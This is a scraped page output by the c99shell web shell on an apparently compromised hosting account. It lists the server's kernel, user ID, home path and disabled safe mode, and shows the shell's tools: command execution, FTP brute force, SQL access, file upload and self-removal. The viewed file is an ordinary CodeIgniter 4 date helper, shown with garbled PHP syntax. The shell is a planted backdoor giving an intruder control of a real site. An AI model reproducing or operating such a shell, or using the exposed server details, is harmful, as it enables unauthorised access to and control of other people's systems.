smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Helpers/   drwxr-xr-x
Free 3433.27 GB of 4265.01 GB (80.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     date_helper.php (2.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

// CodeIgniter Date Helpers

if (! function_exists('now')) {
    
/**
     * Get "now" time
     *
     * Returns time() based on the timezone parameter or on the
     * app_timezone() setting
     *
     * @param string $timezone
     *
     * @throws Exception
     */
    
function now(?string $timezone null): int
    
{
        
$timezone = empty($timezone) ? app_timezone() : $timezone;

        if (
$timezone === 'local' || $timezone === date_default_timezone_get()) {
            return 
time();
        }

        
$datetime = new DateTime('now', new DateTimeZone($timezone));
        
sscanf($datetime->format('j-n-Y G:i:s'), '%d-%d-%d %d:%d:%d'$day$month$year$hour$minute$second);

        return 
mktime($hour$minute$second$month$day$year);
    }
}

if (! 
function_exists('timezone_select')) {
    
/**
     * Generates a select field of all available timezones
     *
     * Returns a string with the formatted HTML
     *
     * @param string $class   Optional class to apply to the select field
     * @param string $default Default value for initial selection
     * @param int    $what    One of the DateTimeZone class constants (for listIdentifiers)
     * @param string $country A two-letter ISO 3166-1 compatible country code (for listIdentifiers)
     *
     * @throws Exception
     */
    
function timezone_select(string $class ''string $default ''int $what DateTimeZone::ALL, ?string $country null): string
    
{
        
$timezones DateTimeZone::listIdentifiers($what$country);

        
$buffer "<select name='timezone' class='{$class}'>" PHP_EOL;

        foreach (
$timezones as $timezone) {
            
$selected = ($timezone === $default) ? 'selected' '';
            
$buffer .= "<option value='{$timezone}{$selected}>{$timezone}</option>" PHP_EOL;
        }

        return 
$buffer . ('</select>' PHP_EOL);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0062 ]--